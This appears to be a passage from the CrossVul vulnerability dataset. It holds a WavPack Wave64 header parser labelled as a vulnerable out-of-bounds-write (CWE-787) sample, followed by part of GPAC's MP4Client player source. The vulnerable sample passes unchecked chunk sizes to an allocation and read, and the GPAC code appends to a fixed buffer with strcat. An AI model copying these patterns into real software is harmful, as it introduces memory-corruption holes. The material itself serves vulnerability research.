debug_logging_mode; int ParseWave64HeaderConfig (FILE *infile, char *infilename, char *fourcc, WavpackContext *wpc, WavpackConfig *config) { int64_t total_samples = 0, infilesize; Wave64ChunkHeader chunk_header; Wave64FileHeader filehdr; WaveHeader WaveHeader; uint32_t bcount; infilesize = DoGetFileSize (infile); memcpy (&filehdr, fourcc, 4); if (!DoReadFile (infile, ((char *) &filehdr) + 4, sizeof (Wave64FileHeader) - 4, &bcount) || bcount != sizeof (Wave64FileHeader) - 4 || memcmp (filehdr.ckID, riff_guid, sizeof (riff_guid)) || memcmp (filehdr.formType, wave_guid, sizeof (wave_guid))) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &filehdr, sizeof (filehdr))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } #if 1 // this might be a little too picky... WavpackLittleEndianToNative (&filehdr, Wave64ChunkHeaderFormat); if (infilesize && !(config->qmode & QMODE_IGNORE_LENGTH) && filehdr.ckSize && filehdr.ckSize + 1 && filehdr.ckSize != infilesize) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } #endif // loop through all elements of the wave64 header // (until the data chuck) and copy them to the output file while (1) { if (!DoReadFile (infile, &chunk_header, sizeof (Wave64ChunkHeader), &bcount) || bcount != sizeof (Wave64ChunkHeader)) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &chunk_header, sizeof (Wave64ChunkHeader))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&chunk_header, Wave64ChunkHeaderFormat); chunk_header.ckSize -= sizeof (chunk_header); // if it's the format chunk, we want to get some info out of there and // make sure it's a .wav file we can handle if (!memcmp (chunk_header.ckID, fmt_guid, sizeof (fmt_guid))) { int supported = TRUE, format; chunk_header.ckSize = (chunk_header.ckSize + 7) & ~7L; if (chunk_header.ckSize < 16 || chunk_header.ckSize > sizeof (WaveHeader) || !DoReadFile (infile, &WaveHeader, (uint32_t) chunk_header.ckSize, &bcount) || bcount != chunk_header.ckSize) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &WaveHeader, (uint32_t) chunk_header.ckSize)) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&WaveHeader, WaveHeaderFormat); if (debug_logging_mode) { error_line ("format tag size = %d", chunk_header.ckSize); error_line ("FormatTag = %x, NumChannels = %d, BitsPerSample = %d", WaveHeader.FormatTag, WaveHeader.NumChannels, WaveHeader.BitsPerSample); error_line ("BlockAlign = %d, SampleRate = %d, BytesPerSecond = %d", WaveHeader.BlockAlign, WaveHeader.SampleRate, WaveHeader.BytesPerSecond); if (chunk_header.ckSize > 16) error_line ("cbSize = %d, ValidBitsPerSample = %d", WaveHeader.cbSize, WaveHeader.ValidBitsPerSample); if (chunk_header.ckSize > 20) error_line ("ChannelMask = %x, SubFormat = %d", WaveHeader.ChannelMask, WaveHeader.SubFormat); } if (chunk_header.ckSize > 16 && WaveHeader.cbSize == 2) config->qmode |= QMODE_ADOBE_MODE; format = (WaveHeader.FormatTag == 0xfffe && chunk_header.ckSize == 40) ? WaveHeader.SubFormat : WaveHeader.FormatTag; config->bits_per_sample = (chunk_header.ckSize == 40 && WaveHeader.ValidBitsPerSample) ? WaveHeader.ValidBitsPerSample : WaveHeader.BitsPerSample; if (format != 1 && format != 3) supported = FALSE; if (format == 3 && config->bits_per_sample != 32) supported = FALSE; if (!WaveHeader.NumChannels || WaveHeader.NumChannels > 256 || WaveHeader.BlockAlign / WaveHeader.NumChannels < (config->bits_per_sample + 7) / 8 || WaveHeader.BlockAlign / WaveHeader.NumChannels > 4 || WaveHeader.BlockAlign % WaveHeader.NumChannels) supported = FALSE; if (config->bits_per_sample < 1 || config->bits_per_sample > 32) supported = FALSE; if (!supported) { error_line ("%s is an unsupported .W64 format!", infilename); return WAVPACK_SOFT_ERROR; } if (chunk_header.ckSize < 40) { if (!config->channel_mask && !(config->qmode & QMODE_CHANS_UNASSIGNED)) { if (WaveHeader.NumChannels <= 2) config->channel_mask = 0x5 - WaveHeader.NumChannels; else if (WaveHeader.NumChannels <= 18) config->channel_mask = (1 << WaveHeader.NumChannels) - 1; else config->channel_mask = 0x3ffff; } } else if (WaveHeader.ChannelMask && (config->channel_mask || (config->qmode & QMODE_CHANS_UNASSIGNED))) { error_line ("this W64 file already has channel order information!"); return WAVPACK_SOFT_ERROR; } else if (WaveHeader.ChannelMask) config->channel_mask = WaveHeader.ChannelMask; if (format == 3) config->float_norm_exp = 127; else if ((config->qmode & QMODE_ADOBE_MODE) && WaveHeader.BlockAlign / WaveHeader.NumChannels == 4) { if (WaveHeader.BitsPerSample == 24) config->float_norm_exp = 127 + 23; else if (WaveHeader.BitsPerSample == 32) config->float_norm_exp = 127 + 15; } if (debug_logging_mode) { if (config->float_norm_exp == 127) error_line ("data format: normalized 32-bit floating point"); else error_line ("data format: %d-bit integers stored in %d byte(s)", config->bits_per_sample, WaveHeader.BlockAlign / WaveHeader.NumChannels); } } else if (!memcmp (chunk_header.ckID, data_guid, sizeof (data_guid))) { // on the data chunk, get size and exit loop if (!WaveHeader.NumChannels) { // make sure we saw "fmt" chunk error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } if ((config->qmode & QMODE_IGNORE_LENGTH) || chunk_header.ckSize <= 0) { config->qmode |= QMODE_IGNORE_LENGTH; if (infilesize && DoGetFilePosition (infile) != -1) total_samples = (infilesize - DoGetFilePosition (infile)) / WaveHeader.BlockAlign; else total_samples = -1; } else { if (infilesize && infilesize - chunk_header.ckSize > 16777216) { error_line ("this .W64 file has over 16 MB of extra RIFF data, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } total_samples = chunk_header.ckSize / WaveHeader.BlockAlign; if (!total_samples) { error_line ("this .W64 file has no audio samples, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } if (total_samples > MAX_WAVPACK_SAMPLES) { error_line ("%s has too many samples for WavPack!", infilename); return WAVPACK_SOFT_ERROR; } } config->bytes_per_sample = WaveHeader.BlockAlign / WaveHeader.NumChannels; config->num_channels = WaveHeader.NumChannels; config->sample_rate = WaveHeader.SampleRate; break; } else { // just copy unknown chunks to output file int bytes_to_copy = (chunk_header.ckSize + 7) & ~7L; char *buff = malloc (bytes_to_copy); if (debug_logging_mode) error_line ("extra unknown chunk \"%c%c%c%c\" of %d bytes", chunk_header.ckID [0], chunk_header.ckID [1], chunk_header.ckID [2], chunk_header.ckID [3], chunk_header.ckSize); if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) || bcount != bytes_to_copy || (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, buff, bytes_to_copy))) { error_line ("%s", WavpackGetErrorMessage (wpc)); free (buff); return WAVPACK_SOFT_ERROR; } free (buff); } } if (!WavpackSetConfiguration64 (wpc, config, total_samples, NULL)) { error_line ("%s: %s", infilename, WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } return WAVPACK_NO_ERROR; } int WriteWave64Header (FILE *outfile, WavpackContext *wpc, int64_t total_samples, int qmode) { Wave64ChunkHeader datahdr, fmthdr; Wave64FileHeader filehdr; WaveHeader wavhdr; uint32_t bcount; int64_t total_data_bytes, total_file_bytes; int num_channels = WavpackGetNumChannels (wpc); int32_t channel_mask = WavpackGetChannelMask (wpc); int32_t sample_rate = WavpackGetSampleRate (wpc); int bytes_per_sample = WavpackGetBytesPerSample (wpc); int bits_per_sample = WavpackGetBitsPerSample (wpc); int format = WavpackGetFloatNormExp (wpc) ? 3 : 1; int wavhdrsize = 16; if (format == 3 && WavpackGetFloatNormExp (wpc) != 127) { error_line ("can't create valid Wave64 header for non-normalized floating data!"); return FALSE; } if (total_samples == -1) total_samples = 0x7ffff000 / (bytes_per_sample * num_channels); total_data_bytes = total_samples * bytes_per_sample * num_channels; CLEAR (wavhdr); wavhdr.FormatTag = format; wavhdr.NumChannels = num_channels; wavhdr.SampleRate = sample_rate; wavhdr.BytesPerSecond = sample_rate * num_channels * bytes_per_sample; wavhdr.BlockAlign = bytes_per_sample * num_channels; wavhdr.BitsPerSample = bits_per_sample; if (num_channels > 2 || channel_mask != 0x5 - num_channels) { wavhdrsize = sizeof (wavhdr); wavhdr.cbSize = 22; wavhdr.ValidBitsPerSample = bits_per_sample; wavhdr.SubFormat = format; wavhdr.ChannelMask = channel_mask; wavhdr.FormatTag = 0xfffe; wavhdr.BitsPerSample = bytes_per_sample * 8; wavhdr.GUID [4] = 0x10; wavhdr.GUID [6] = 0x80; wavhdr.GUID [9] = 0xaa; wavhdr.GUID [11] = 0x38; wavhdr.GUID [12] = 0x9b; wavhdr.GUID [13] = 0x71; } total_file_bytes = sizeof (filehdr) + sizeof (fmthdr) + wavhdrsize + sizeof (datahdr) + ((total_data_bytes + 7) & ~(int64_t)7); memcpy (filehdr.ckID, riff_guid, sizeof (riff_guid)); memcpy (filehdr.formType, wave_guid, sizeof (wave_guid)); filehdr.ckSize = total_file_bytes; memcpy (fmthdr.ckID, fmt_guid, sizeof (fmt_guid)); fmthdr.ckSize = sizeof (fmthdr) + wavhdrsize; memcpy (datahdr.ckID, data_guid, sizeof (data_guid)); datahdr.ckSize = total_data_bytes + sizeof (datahdr); // write the RIFF chunks up to just before the data starts WavpackNativeToLittleEndian (&filehdr, Wave64ChunkHeaderFormat); WavpackNativeToLittleEndian (&fmthdr, Wave64ChunkHeaderFormat); WavpackNativeToLittleEndian (&wavhdr, WaveHeaderFormat); WavpackNativeToLittleEndian (&datahdr, Wave64ChunkHeaderFormat); if (!DoWriteFile (outfile, &filehdr, sizeof (filehdr), &bcount) || bcount != sizeof (filehdr) || !DoWriteFile (outfile, &fmthdr, sizeof (fmthdr), &bcount) || bcount != sizeof (fmthdr) || !DoWriteFile (outfile, &wavhdr, wavhdrsize, &bcount) || bcount != wavhdrsize || !DoWriteFile (outfile, &datahdr, sizeof (datahdr), &bcount) || bcount != sizeof (datahdr)) { error_line ("can't write .W64 data, disk probably full!"); return FALSE; } return TRUE; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_96_2
crossvul-cpp_data_good_526_0
/* * GPAC - Multimedia Framework C SDK * * Authors: Jean Le Feuvre * Copyright (c) Telecom ParisTech 2005-2012 * All rights reserved * * This file is part of GPAC / command-line client * * GPAC is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * GPAC is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; see the file COPYING. If not, write to * the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. * */ /*includes both terminal and od browser*/ #include <gpac/terminal.h> #include <gpac/term_info.h> #include <gpac/constants.h> #include <gpac/events.h> #include <gpac/media_tools.h> #include <gpac/options.h> #include <gpac/modules/service.h> #include <gpac/avparse.h> #include <gpac/network.h> #include <gpac/utf.h> #include <time.h> /*ISO 639 languages*/ #include <gpac/iso639.h> //FIXME we need a plugin for playlists #include <gpac/internal/terminal_dev.h> #ifndef WIN32 #include <dlfcn.h> #include <pwd.h> #include <unistd.h> #if defined(__DARWIN__) || defined(__APPLE__) #include <sys/types.h> #include <sys/stat.h> void carbon_init(); void carbon_uninit(); #endif #else #include <windows.h> /*for GetModuleFileName*/ #endif //WIN32 /*local prototypes*/ void PrintWorldInfo(GF_Terminal *term); void ViewOD(GF_Terminal *term, u32 OD_ID, u32 number, const char *URL); void PrintODList(GF_Terminal *term, GF_ObjectManager *root_odm, u32 num, u32 indent, char *root_name); void ViewODs(GF_Terminal *term, Bool show_timing); void PrintGPACConfig(); static u32 gui_mode = 0; static Bool restart = GF_FALSE; static Bool reload = GF_FALSE; Bool no_prog = 0; #if defined(__DARWIN__) || defined(__APPLE__) //we keep no decoder thread because of JS_GC deadlocks between threads ... static u32 threading_flags = GF_TERM_NO_COMPOSITOR_THREAD | GF_TERM_NO_DECODER_THREAD; #define VK_MOD GF_KEY_MOD_ALT #else static u32 threading_flags = 0; #define VK_MOD GF_KEY_MOD_CTRL #endif static Bool no_audio = GF_FALSE; static Bool term_step = GF_FALSE; static Bool no_regulation = GF_FALSE; static u32 bench_mode = 0; static u32 bench_mode_start = 0; static u32 bench_buffer = 0; static Bool eos_seen = GF_FALSE; static Bool addon_visible = GF_TRUE; Bool is_connected = GF_FALSE; Bool startup_file = GF_FALSE; GF_User user; GF_Terminal *term; u64 Duration; GF_Err last_error = GF_OK; static Bool enable_add_ons = GF_TRUE; static Fixed playback_speed = FIX_ONE; static s32 request_next_playlist_item = GF_FALSE; FILE *playlist = NULL; static Bool readonly_playlist = GF_FALSE; static GF_Config *cfg_file; static u32 display_rti = 0; static Bool Run; static Bool CanSeek = GF_FALSE; static char the_url[GF_MAX_PATH]; static char pl_path[GF_MAX_PATH]; static Bool no_mime_check = GF_TRUE; static Bool be_quiet = GF_FALSE; static u64 log_time_start = 0; static Bool log_utc_time = GF_FALSE; static Bool loop_at_end = GF_FALSE; static u32 forced_width=0; static u32 forced_height=0; /*windowless options*/ u32 align_mode = 0; u32 init_w = 0; u32 init_h = 0; u32 last_x, last_y; Bool right_down = GF_FALSE; void dump_frame(GF_Terminal *term, char *rad_path, u32 dump_type, u32 frameNum); enum { DUMP_NONE = 0, DUMP_AVI = 1, DUMP_BMP = 2, DUMP_PNG = 3, DUMP_RAW = 4, DUMP_SHA1 = 5, //DuMP flags DUMP_DEPTH_ONLY = 1<<16, DUMP_RGB_DEPTH = 1<<17, DUMP_RGB_DEPTH_SHAPE = 1<<18 }; Bool dump_file(char *the_url, char *out_url, u32 dump_mode, Double fps, u32 width, u32 height, Float scale, u32 *times, u32 nb_times); static Bool shell_visible = GF_TRUE; void hide_shell(u32 cmd_type) { #if defined(WIN32) && !defined(_WIN32_WCE) typedef HWND (WINAPI *GetConsoleWindowT)(void); HMODULE hk32 = GetModuleHandle("kernel32.dll"); GetConsoleWindowT GetConsoleWindow = (GetConsoleWindowT ) GetProcAddress(hk32,"GetConsoleWindow"); if (cmd_type==0) { ShowWindow( GetConsoleWindow(), SW_SHOW); shell_visible = GF_TRUE; } else if (cmd_type==1) { ShowWindow( GetConsoleWindow(), SW_HIDE); shell_visible = GF_FALSE; } else if (cmd_type==2) PostMessage(GetConsoleWindow(), WM_CLOSE, 0, 0); #endif } void send_open_url(const char *url) { GF_Event evt; memset(&evt, 0, sizeof(GF_Event)); evt.type = GF_EVENT_NAVIGATE; evt.navigate.to_url = url; gf_term_send_event(term, &evt); } void PrintUsage() { fprintf(stderr, "Usage MP4Client [options] [filename]\n" "\t-c fileName: user-defined configuration file. Also works with -cfg\n" #ifdef GPAC_MEMORY_TRACKING "\t-mem-track: enables memory tracker\n" "\t-mem-track-stack: enables memory tracker with stack dumping\n" #endif "\t-rti fileName: logs run-time info (FPS, CPU, Mem usage) to file\n" "\t-rtix fileName: same as -rti but driven by GPAC logs\n" "\t-quiet: removes script message, buffering and downloading status\n" "\t-strict-error: exit when the player reports its first error\n" "\t-opt option: Overrides an option in the configuration file. String format is section:key=value. \n" "\t \"section:key=null\" removes the key\n" "\t \"section:*=null\" removes the section\n" "\t-conf option: Same as -opt but does not start player.\n" "\t-log-file file: sets output log file. Also works with -lf\n" "\t-logs log_args: sets log tools and levels, formatted as a ':'-separated list of toolX[:toolZ]@levelX\n" "\t levelX can be one of:\n" "\t \"quiet\" : skip logs\n" "\t \"error\" : logs only error messages\n" "\t \"warning\" : logs error+warning messages\n" "\t \"info\" : logs error+warning+info messages\n" "\t \"debug\" : logs all messages\n" "\t toolX can be one of:\n" "\t \"core\" : libgpac core\n" "\t \"coding\" : bitstream formats (audio, video, scene)\n" "\t \"container\" : container formats (ISO File, MPEG-2 TS, AVI, ...)\n" "\t \"network\" : network data exept RTP trafic\n" "\t \"rtp\" : rtp trafic\n" "\t \"author\" : authoring tools (hint, import, export)\n" "\t \"sync\" : terminal sync layer\n" "\t \"codec\" : terminal codec messages\n" "\t \"parser\" : scene parsers (svg, xmt, bt) and other\n" "\t \"media\" : terminal media object management\n" "\t \"scene\" : scene graph and scene manager\n" "\t \"script\" : scripting engine messages\n" "\t \"interact\" : interaction engine (events, scripts, etc)\n" "\t \"smil\" : SMIL timing engine\n" "\t \"compose\" : composition engine (2D, 3D, etc)\n" "\t \"mmio\" : Audio/Video HW I/O management\n" "\t \"rti\" : various run-time stats\n" "\t \"cache\" : HTTP cache subsystem\n" "\t \"audio\" : Audio renderer and mixers\n" #ifdef GPAC_MEMORY_TRACKING "\t \"mem\" : GPAC memory tracker\n" #endif #ifndef GPAC_DISABLE_DASH_CLIENT "\t \"dash\" : HTTP streaming logs\n" #endif "\t \"module\" : GPAC modules debugging\n" "\t \"mutex\" : mutex\n" "\t \"all\" : all tools logged - other tools can be specified afterwards.\n" "\tThe special value \"ncl\" disables color logs.\n" "\n" "\t-log-clock or -lc : logs time in micro sec since start time of GPAC before each log line.\n" "\t-log-utc or -lu : logs UTC time in ms before each log line.\n" "\t-ifce IPIFCE : Sets default Multicast interface\n" "\t-size WxH: specifies visual size (default: scene size)\n" #if defined(__DARWIN__) || defined(__APPLE__) "\t-thread: enables thread usage for terminal and compositor \n" #else "\t-no-thread: disables thread usage (except for audio)\n" #endif "\t-no-cthread: disables compositor thread (iOS and Android mode)\n" "\t-no-audio: disables audio \n" "\t-no-wnd: uses windowless mode (Win32 only)\n" "\t-no-back: uses transparent background for output window when no background is specified (Win32 only)\n" "\t-align vh: specifies v and h alignment for windowless mode\n" "\t possible v values: t(op), m(iddle), b(ottom)\n" "\t possible h values: l(eft), m(iddle), r(ight)\n" "\t default alignment is top-left\n" "\t default alignment is top-left\n" "\t-pause: pauses at first frame\n" "\t-play-from T: starts from T seconds in media\n" "\t-speed S: starts with speed S\n" "\t-loop: loops presentation\n" "\t-no-regulation: disables framerate regulation\n" "\t-bench: disable a/v output and bench source decoding (as fast as possible)\n" "\t-vbench: disable audio output, video sync bench source decoding/display (as fast as possible)\n" "\t-sbench: disable all decoders and bench systems layer (as fast as possible)\n" "\t-fs: starts in fullscreen mode\n" "\t-views v1:.:vN: creates an auto-stereo scene of N views. vN can be any type of URL supported by GPAC.\n" "\t in this mode, URL argument of GPAC is ignored, GUI as well.\n" "\t this is equivalent as using views://v1:.:N as an URL.\n" "\t-mosaic v1:.:vN: creates a mosaic of N views. vN can be any type of URL supported by GPAC.\n" "\t in this mode, URL argument of GPAC is ignored.\n" "\t this is equivalent as using mosaic://v1:.:N as an URL.\n" "\n" "\t-exit: automatically exits when presentation is over\n" "\t-run-for TIME: runs for TIME seconds and exits\n" "\t-service ID: auto-tune to given service ID in a multiplex\n" "\t-noprog: disable progress report\n" "\t-no-save: disable saving config file on exit\n" "\t-no-addon: disable automatic loading of media addons declared in source URL\n" "\t-gui: starts in GUI mode. The GUI is indicated in GPAC config, section General, by the key [StartupFile]\n" "\t-ntp-shift T: shifts NTP clock of T (signed int) milliseconds\n" "\n" "Dumper Options (times is a formated as start-end, with start being sec, h:m:s:f/fps or h:m:s:ms):\n" "\t-bmp [times]: dumps given frames to bmp\n" "\t-png [times]: dumps given frames to png\n" "\t-raw [times]: dumps given frames to raw\n" "\t-avi [times]: dumps given file to raw avi\n" "\t-sha [times]: dumps given file to raw SHA-1 (1 hash per frame)\n" "\r-out filename: name of the output file\n" "\t-rgbds: dumps the RGBDS pixel format texture\n" "\t with -avi [times]: dumps an rgbds-format .avi\n" "\t-rgbd: dumps the RGBD pixel format texture\n" "\t with -avi [times]: dumps an rgbd-format .avi\n" "\t-depth: dumps depthmap (z-buffer) frames\n" "\t with -avi [times]: dumps depthmap in grayscale .avi\n" "\t with -bmp: dumps depthmap in grayscale .bmp\n" "\t with -png: dumps depthmap in grayscale .png\n" "\t-fps FPS: specifies frame rate for AVI dumping (default: %f)\n" "\t-scale s: scales the visual size (default: 1)\n" "\t-fill: uses fill aspect ratio for dumping (default: none)\n" "\t-show: shows window while dumping (default: no)\n" "\n" "\t-uncache: Revert all cached items to their original name and location. Does not start player.\n" "\n" "\t-help: shows this screen\n" "\n" "MP4Client - GPAC command line player and dumper - version "GPAC_FULL_VERSION"\n" "(c) Telecom ParisTech 2000-2018 - Licence LGPL v2\n" "GPAC Configuration: " GPAC_CONFIGURATION "\n" "Features: %s\n", GF_IMPORT_DEFAULT_FPS, gpac_features() ); } void PrintHelp() { fprintf(stderr, "MP4Client command keys:\n" "\tq: quit\n" "\tX: kill\n" "\to: connect to the specified URL\n" "\tO: connect to the specified playlist\n" "\tN: switch to the next URL in the playlist. Also works with \\n\n" "\tP: jumps to a given number ahead in the playlist\n" "\tr: reload current presentation\n" "\tD: disconnects the current presentation\n" "\tG: selects object or service ID\n" "\n" "\tp: play/pause the presentation\n" "\ts: step one frame ahead\n" "\tz: seek into presentation by percentage\n" "\tT: seek into presentation by time\n" "\tt: print current timing\n" "\n" "\tu: sends a command (BIFS or LASeR) to the main scene\n" "\te: evaluates JavaScript code\n" "\tZ: dumps output video to PNG\n" "\n" "\tw: view world info\n" "\tv: view Object Descriptor list\n" "\ti: view Object Descriptor info (by ID)\n" "\tj: view Object Descriptor info (by number)\n" "\tb: view media objects timing and buffering info\n" "\tm: view media objects buffering and memory info\n" "\td: dumps scene graph\n" "\n" "\tk: turns stress mode on/off\n" "\tn: changes navigation mode\n" "\tx: reset to last active viewpoint\n" "\n" "\t3: switch OpenGL on or off for 2D scenes\n" "\n" "\t4: forces 4/3 Aspect Ratio\n" "\t5: forces 16/9 Aspect Ratio\n" "\t6: forces no Aspect Ratio (always fill screen)\n" "\t7: forces original Aspect Ratio (default)\n" "\n" "\tL: changes to new log level. CF MP4Client usage for possible values\n" "\tT: select new tools to log. CF MP4Client usage for possible values\n" "\n" "\tl: list available modules\n" "\tc: prints some GPAC configuration info\n" "\tE: forces reload of GPAC configuration\n" "\n" "\tR: toggles run-time info display in window title bar on/off\n" "\tF: toggle displaying of FPS in stderr on/off\n" "\tg: print GPAC allocated memory\n" "\th: print this message\n" "\n" "\tEXPERIMENTAL/UNSTABLE OPTIONS\n" "\tC: Enable Streaming Cache\n" "\tS: Stops Streaming Cache and save to file\n" "\tA: Aborts Streaming Cache\n" "\tM: specifies video cache memory for 2D objects\n" "\n" "MP4Client - GPAC command line player - version %s\n" "GPAC Written by Jean Le Feuvre (c) 2001-2005 - ENST (c) 2005-200X\n", GPAC_FULL_VERSION ); } static void PrintTime(u64 time) { u32 ms, h, m, s; h = (u32) (time / 1000 / 3600); m = (u32) (time / 1000 / 60 - h*60); s = (u32) (time / 1000 - h*3600 - m*60); ms = (u32) (time - (h*3600 + m*60 + s) * 1000); fprintf(stderr, "%02d:%02d:%02d.%03d", h, m, s, ms); } void PrintAVInfo(Bool final); static u32 rti_update_time_ms = 200; static FILE *rti_logs = NULL; static void UpdateRTInfo(const char *legend) { GF_SystemRTInfo rti; /*refresh every second*/ if (!display_rti && !rti_logs) return; if (!gf_sys_get_rti(rti_update_time_ms, &rti, 0) && !legend) return; if (display_rti) { char szMsg[1024]; if (rti.total_cpu_usage && (bench_mode<2) ) { sprintf(szMsg, "FPS %02.02f CPU %2d (%02d) Mem %d kB", gf_term_get_framerate(term, 0), rti.total_cpu_usage, rti.process_cpu_usage, (u32) (rti.gpac_memory / 1024)); } else { sprintf(szMsg, "FPS %02.02f CPU %02d Mem %d kB", gf_term_get_framerate(term, 0), rti.process_cpu_usage, (u32) (rti.gpac_memory / 1024) ); } if (display_rti==2) { if (bench_mode>=2) { PrintAVInfo(GF_FALSE); } fprintf(stderr, "%s\r", szMsg); } else { GF_Event evt; evt.type = GF_EVENT_SET_CAPTION; evt.caption.caption = szMsg; gf_term_user_event(term, &evt); } } if (rti_logs) { fprintf(rti_logs, "% 8d\t% 8d\t% 8d\t% 4d\t% 8d\t%s", gf_sys_clock(), gf_term_get_time_in_ms(term), rti.total_cpu_usage, (u32) gf_term_get_framerate(term, 0), (u32) (rti.gpac_memory / 1024), legend ? legend : "" ); if (!legend) fprintf(rti_logs, "\n"); } } static void ResetCaption() { GF_Event event; if (display_rti) return; event.type = GF_EVENT_SET_CAPTION; if (is_connected) { char szName[1024]; NetInfoCommand com; event.caption.caption = NULL; /*get any service info*/ if (!startup_file && gf_term_get_service_info(term, gf_term_get_root_object(term), &com) == GF_OK) { strcpy(szName, ""); if (com.track_info) { char szBuf[10]; sprintf(szBuf, "%02d ", (u32) (com.track_info>>16) ); strcat(szName, szBuf); } if (com.artist) { strcat(szName, com.artist); strcat(szName, " "); } if (com.name) { strcat(szName, com.name); strcat(szName, " "); } if (com.album) { strcat(szName, "("); strcat(szName, com.album); strcat(szName, ")"); } if (com.provider) { strcat(szName, "("); strcat(szName, com.provider); strcat(szName, ")"); } if (strlen(szName)) event.caption.caption = szName; } if (!event.caption.caption) { char *str = strrchr(the_url, '\\'); if (!str) str = strrchr(the_url, '/'); event.caption.caption = str ? str+1 : the_url; } } else { event.caption.caption = "GPAC MP4Client " GPAC_FULL_VERSION; } gf_term_user_event(term, &event); } #ifdef WIN32 u32 get_sys_col(int idx) { u32 res; DWORD val = GetSysColor(idx); res = (val)&0xFF; res<<=8; res |= (val>>8)&0xFF; res<<=8; res |= (val>>16)&0xFF; return res; } #endif void switch_bench(u32 is_on) { bench_mode = is_on; display_rti = is_on ? 2 : 0; ResetCaption(); gf_term_set_option(term, GF_OPT_VIDEO_BENCH, is_on); } #ifndef WIN32 #include <termios.h> int getch() { struct termios old; struct termios new; int rc; if (tcgetattr(0, &old) == -1) { return -1; } new = old; new.c_lflag &= ~(ICANON | ECHO); new.c_cc[VMIN] = 1; new.c_cc[VTIME] = 0; if (tcsetattr(0, TCSANOW, &new) == -1) { return -1; } rc = getchar(); (void) tcsetattr(0, TCSANOW, &old); return rc; } #else int getch() { return getchar(); } #endif /** * Reads a line of input from stdin * @param line the buffer to fill * @param maxSize the maximum size of the line to read * @param showContent boolean indicating if the line read should be printed on stderr or not */ static const char * read_line_input(char * line, int maxSize, Bool showContent) { char read; int i = 0; if (fflush( stderr )) perror("Failed to flush buffer %s"); do { line[i] = '\0'; if (i >= maxSize - 1) return line; read = getch(); if (read == 8 || read == 127) { if (i > 0) { fprintf(stderr, "\b \b"); i--; } } else if (read > 32) { fputc(showContent ? read : '*', stderr); line[i++] = read; } fflush(stderr); } while (read != '\n'); if (!read) return 0; return line; } static void do_set_speed(Fixed desired_speed) { if (gf_term_set_speed(term, desired_speed) == GF_OK) { playback_speed = desired_speed; fprintf(stderr, "Playing at %g speed\n", FIX2FLT(playback_speed)); } else { fprintf(stderr, "Adjusting speed to %g not supported for this content\n", FIX2FLT(desired_speed)); } } Bool GPAC_EventProc(void *ptr, GF_Event *evt) { if (!term) return 0; if (gui_mode==1) { if (evt->type==GF_EVENT_QUIT) { Run = 0; } else if (evt->type==GF_EVENT_KEYDOWN) { switch (evt->key.key_code) { case GF_KEY_C: if (evt->key.flags & (GF_KEY_MOD_CTRL|GF_KEY_MOD_ALT)) { hide_shell(shell_visible ? 1 : 0); if (shell_visible) gui_mode=2; } break; default: break; } } return 0; } switch (evt->type) { case GF_EVENT_DURATION: Duration = (u64) ( 1000 * (s64) evt->duration.duration); CanSeek = evt->duration.can_seek; break; case GF_EVENT_MESSAGE: { const char *servName; if (!evt->message.service || !strcmp(evt->message.service, the_url)) { servName = ""; } else if (!strnicmp(evt->message.service, "data:", 5)) { servName = "(embedded data)"; } else { servName = evt->message.service; } if (!evt->message.message) return 0; if (evt->message.error) { if (!is_connected) last_error = evt->message.error; if (evt->message.error==GF_SCRIPT_INFO) { GF_LOG(GF_LOG_INFO, GF_LOG_CONSOLE, ("%s\n", evt->message.message)); } else { GF_LOG(GF_LOG_ERROR, GF_LOG_CONSOLE, ("%s %s: %s\n", servName, evt->message.message, gf_error_to_string(evt->message.error))); } } else if (!be_quiet) GF_LOG(GF_LOG_INFO, GF_LOG_CONSOLE, ("%s %s\n", servName, evt->message.message)); } break; case GF_EVENT_PROGRESS: { char *szTitle = ""; if (evt->progress.progress_type==0) { szTitle = "Buffer "; if (bench_mode && (bench_mode!=3) ) { if (evt->progress.done >= evt->progress.total) bench_buffer = 0; else bench_buffer = 1 + 100*evt->progress.done / evt->progress.total; break; } } else if (evt->progress.progress_type==1) { if (bench_mode) break; szTitle = "Download "; } else if (evt->progress.progress_type==2) szTitle = "Import "; gf_set_progress(szTitle, evt->progress.done, evt->progress.total); } break; case GF_EVENT_DBLCLICK: gf_term_set_option(term, GF_OPT_FULLSCREEN, !gf_term_get_option(term, GF_OPT_FULLSCREEN)); return 0; case GF_EVENT_MOUSEDOWN: if (evt->mouse.button==GF_MOUSE_RIGHT) { right_down = 1; last_x = evt->mouse.x; last_y = evt->mouse.y; } return 0; case GF_EVENT_MOUSEUP: if (evt->mouse.button==GF_MOUSE_RIGHT) { right_down = 0; last_x = evt->mouse.x; last_y = evt->mouse.y; } return 0; case GF_EVENT_MOUSEMOVE: if (right_down && (user.init_flags & GF_TERM_WINDOWLESS) ) { GF_Event move; move.move.x = evt->mouse.x - last_x; move.move.y = last_y-evt->mouse.y; move.type = GF_EVENT_MOVE; move.move.relative = 1; 